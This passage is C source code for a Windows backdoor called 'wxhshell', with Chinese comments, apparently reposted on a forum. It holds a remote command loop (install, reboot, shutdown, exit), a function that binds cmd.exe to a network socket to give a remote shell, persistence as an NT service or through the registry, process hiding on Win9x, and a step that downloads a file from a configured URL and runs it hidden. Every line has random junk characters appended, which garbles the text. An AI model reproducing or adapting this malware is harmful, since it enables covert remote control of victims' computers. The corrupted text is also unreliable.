      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0a 6z "K}  
    break; %]$p ^m  
  } c$:=d4t5$  
  // 安装 >1pH 91c'  
  case 'i': { D K_v{R  
    if(Install()) I jztj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]J=)pD rk  
    else QN&^LaB<T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XfK.Fj~-  
    break; ":^ NLBm>5  
    } cBR8HkP~  
  // 卸载 JgKZ;GM:W  
  case 'r': {  Is6 _  
    if(Uninstall()) J K]tcP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{I[}$k  
    else f%[ukMj&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IetGg{h.  
    break; bok 74U]  
    } lF"(|n"R  
  // 显示 wxhshell 所在路径 "mK i$FV  
  case 'p': { qq7X ",s  
    char svExeFile[MAX_PATH]; t:s q*d  
    strcpy(svExeFile,"\n\r"); AD%D ,l  
      strcat(svExeFile,ExeFile); S<]a@9W  
        send(wsh,svExeFile,strlen(svExeFile),0); #Q7x:,f  
    break; X<}o> 6|d  
    } {AL9o2  
  // 重启 5h=TV  
  case 'b': { <CKmMZ{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ; zE5(3x  
    if(Boot(REBOOT)) QUZQY`' @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~& WN)r'4y  
    else { ._MAHBx+G  
    closesocket(wsh); 9C)3 b3  
    ExitThread(0); 69j~?w)^  
    } ^0tf1pV2  
    break; O][Nl^dl  
    } -S%q!%}u  
  // 关机 $7DcQ b9  
  case 'd': { DMcxa.Sd!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); } B9~X  
    if(Boot(SHUTDOWN)) 1.95 ^8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); waWKpk1Wo  
    else { ,WB_C\.#XN  
    closesocket(wsh); 7}cDGdr  
    ExitThread(0); [&pW&>p3  
    } Jg|cvu-+  
    break; oAZF3h]po  
    } z1'FmwT  
  // 获取shell z'oiyXEE3  
  case 's': { 4`U0">gY  
    CmdShell(wsh); ?cs]#6^  
    closesocket(wsh); :IVk_[s  
    ExitThread(0); %t`SSW7I  
    break; RE>ks[  
  } puS&S *  
  // 退出 E<<p_hX8R  
  case 'x': { oO#xx)b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I& M36f  
    CloseIt(wsh); =%3b@}%HqS  
    break; z{@R.'BD  
    } )v52y8G-p  
  // 离开 5K ,#4EOV  
  case 'q': { 4g7ja   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1O7]3&L@  
    closesocket(wsh); -!|WZ   
    WSACleanup(); Z%+BWS3YqY  
    exit(1); iO*`(s  
    break; ]dHB}  
        } e`Co,>W/  
  } ^IVe[P'  
  } p"[O#*p  
x*h?%egB!p  
  // 提示信息 a(@p0YpKT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WDE e$k4.  
} 3$c(M99r  
  } nw0L1TP/J  
!8Z2X!$m{<  
  return; ?h!t$QQ!M  
} kG)2%  
4L5o\'X  
// shell模块句柄 aXdf>2c{JD  
int CmdShell(SOCKET sock) IV{FH&t^T"  
{ J]}FC{CD!  
STARTUPINFO si; JBR[; zM  
ZeroMemory(&si,sizeof(si)); =2 &hQd   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =s'XR@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A3AP51 !  
PROCESS_INFORMATION ProcessInfo; U_}7d"<| ?  
char cmdline[]="cmd"; _+ twq i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e,f ;  
  return 0; ,0!uem}1i  
} ~ww?Emrw  
Bx(yu'g|a  
// 自身启动模式 KNg8HYFW\  
int StartFromService(void) 'nRp}s1^[  
{ \\ jIl3Z  
typedef struct 8> UKIdp  
{ %O#)Nq>mp  
  DWORD ExitStatus; GR,J0LT   
  DWORD PebBaseAddress; AG]W O8f)  
  DWORD AffinityMask; K7IyCcdB  
  DWORD BasePriority; l8z%\p5cR  
  ULONG UniqueProcessId; /7bw: h;  
  ULONG InheritedFromUniqueProcessId; 4s9c#nVlu  
}   PROCESS_BASIC_INFORMATION; : *ERRSL)  
ajW[eyX  
PROCNTQSIP NtQueryInformationProcess; ezp<@'0ZT  
HOE2*4r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D7)(D4S4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dk6?Nwy"  
eY T8$  
  HANDLE             hProcess; bSQRLxF  
  PROCESS_BASIC_INFORMATION pbi; Qh\YR\O  
2s 7mI'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R1}IeeZO?&  
  if(NULL == hInst ) return 0; yI8 SQ$w0y  
qgtn5] A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rho5s@N7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dY8(nQG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zLP],wB  
@r F/]UJ  
  if (!NtQueryInformationProcess) return 0; L[rpb.'FG  
[g#s&bF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i^WIr h3a  
  if(!hProcess) return 0; [[w2p  
G]4OFz+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i3\~Qj;1  
E/ijvuO  
  CloseHandle(hProcess); W2`.RF^  
I:i<>kG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L1wZU,o  
if(hProcess==NULL) return 0; p #bhz5&/  
(3VGaUlx  
HMODULE hMod; [EgW/\35  
char procName[255]; b$Ln} <  
unsigned long cbNeeded; s"i~6})K<$  
Lj8)' [K"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O}C)~GU  
J*j5#V];  
  CloseHandle(hProcess); cx{T '1  
'.Z4 hHX  
if(strstr(procName,"services")) return 1; // 以服务启动 \5~;MI.Sq  
yxwWj>c  
  return 0; // 注册表启动 wz#A1F  
} H8f]}  
U]1(&MgV  
// 主模块  / +1{  
int StartWxhshell(LPSTR lpCmdLine) A2NF<ZsD  
{ EY=FDlV  
  SOCKET wsl; R-  
BOOL val=TRUE; *tc{vtuu~^  
  int port=0; @*(4dt:V  
  struct sockaddr_in door; .'1SZe7O  
3?.1n Gu  
  if(wscfg.ws_autoins) Install(); GX?*1  
Y%Ieg.o  
port=atoi(lpCmdLine); (PRBS\*G  
,PECYwegkt  
if(port<=0) port=wscfg.ws_port; Gr: 3{o`  
,a0pAj  
  WSADATA data; RV+E^pkp$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0y~<%`~  
!^y y0`k6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UXH"si:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \?Mf_  
  door.sin_family = AF_INET; /(?@mnq_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r &%.z*q  
  door.sin_port = htons(port); A\AT0th  
Y]N,.pv=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { " xR[mJ@U  
closesocket(wsl); _M t Qi  
return 1; l&W;b6L  
} $bsH$N#6T  
?2#(jZ# 2  
  if(listen(wsl,2) == INVALID_SOCKET) { LA%bq_> f  
closesocket(wsl); QTmZ( >z  
return 1; 0Fw6Dq<8-!  
} QI}E4-s8  
  Wxhshell(wsl); ^"i~ DC  
  WSACleanup(); qAY%nA>jO  
5$rSEVg9  
return 0; 3y A2WW  
<rIz Z'D  
} _&#S@aGw  
q,%:h`t\  
// 以NT服务方式启动 \or G63T:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H'=(`  
{ 4 !#a3=_  
DWORD   status = 0; )]43R   
  DWORD   specificError = 0xfffffff; JC#>Td  
o "z@&G" ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |=dC )Azs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bh p5<N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0?0Jz  
  serviceStatus.dwWin32ExitCode     = 0; %|"g/2sF[G  
  serviceStatus.dwServiceSpecificExitCode = 0; D y-S98Y  
  serviceStatus.dwCheckPoint       = 0; *G5c|Y  
  serviceStatus.dwWaitHint       = 0;  n_nl{  
E=]4ctK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^aZAw%K  
  if (hServiceStatusHandle==0) return; Vz=auM1xZ  
w ej[+y-  
status = GetLastError(); Dw<k3zaW  
  if (status!=NO_ERROR) sTRJ:fR  
{ MV>$BW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ` `U^COD  
    serviceStatus.dwCheckPoint       = 0; t.Nb? /  
    serviceStatus.dwWaitHint       = 0; bG F7Zh9  
    serviceStatus.dwWin32ExitCode     = status; .;7> y7$*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5ETip'<KT6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {a(&J6$VE  
    return; _aWl]I){5  
  } LOy0hN-$b  
5ExDB6Bx@y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *f%>YxF  
  serviceStatus.dwCheckPoint       = 0; 8flOq"uK^  
  serviceStatus.dwWaitHint       = 0; 3r+.N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ``VW;l{  
} /4\wn?f  
kX`[Y@nUN  
// 处理NT服务事件,比如:启动、停止 4QOEw-~w&s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M=qb^~ l  
{ ~@ jY[_  
switch(fdwControl) pCh2SQ(Q>  
{ I pzJ#  
case SERVICE_CONTROL_STOP: d?AlI  
  serviceStatus.dwWin32ExitCode = 0; RwI[R)k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C)'q QvA  
  serviceStatus.dwCheckPoint   = 0; uc7Eq45  
  serviceStatus.dwWaitHint     = 0; z!;1i[|x  
  { 0& >H^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+Ta%H{  
  } ".^VI2T  
  return; 'H5M|c$s  
case SERVICE_CONTROL_PAUSE: S"Lx%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *Xo]-cKL0  
  break; <@wj7\pQ  
case SERVICE_CONTROL_CONTINUE: 9,j-V p!G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8to8!(  
  break; X\$ 0  
case SERVICE_CONTROL_INTERROGATE: goat<\a  
  break; ;Gx)Noo/>  
}; -=s(l.?Hm5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eW5SFY.  
} No]~jnqDM  
.itw04Uru  
// 标准应用程序主函数 \^I>Q _LU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 76hOB@  
{ }Sy=My89r  
!Z VU,b>  
// 获取操作系统版本 kKC9{^%)  
OsIsNt=GetOsVer(); !EUan  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z [`@}}Q  
 w 4[{2  
  // 从命令行安装 "&Po,AWa  
  if(strpbrk(lpCmdLine,"iI")) Install(); zO g7raIa  
Z{&cuo.@<]  
  // 下载执行文件 wtje(z5IL  
if(wscfg.ws_downexe) { iq( )8nxi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U9b?i$  
  WinExec(wscfg.ws_filenam,SW_HIDE); WA dCF-S  
} lHgs;>U$  
rE@T79"  
if(!OsIsNt) { =zQN[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;WR,eI..  
HideProc(); Ft}@ 1w5  
StartWxhshell(lpCmdLine); g}@OUG"D  
} YPHS 1E?  
else LL:_L<  
  if(StartFromService()) k)EX(T\  
  // 以服务方式启动 >EY3/Go>  
  StartServiceCtrlDispatcher(DispatchTable); II6CHjW`;  
else x _c[B4Tw  
  // 普通方式启动 (5]}5W*  
  StartWxhshell(lpCmdLine); p]3?gK-  
I? ,>DHUX  
return 0; D3|I:Xm  
}
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只看该作者 1 发表于: 2006-10-10
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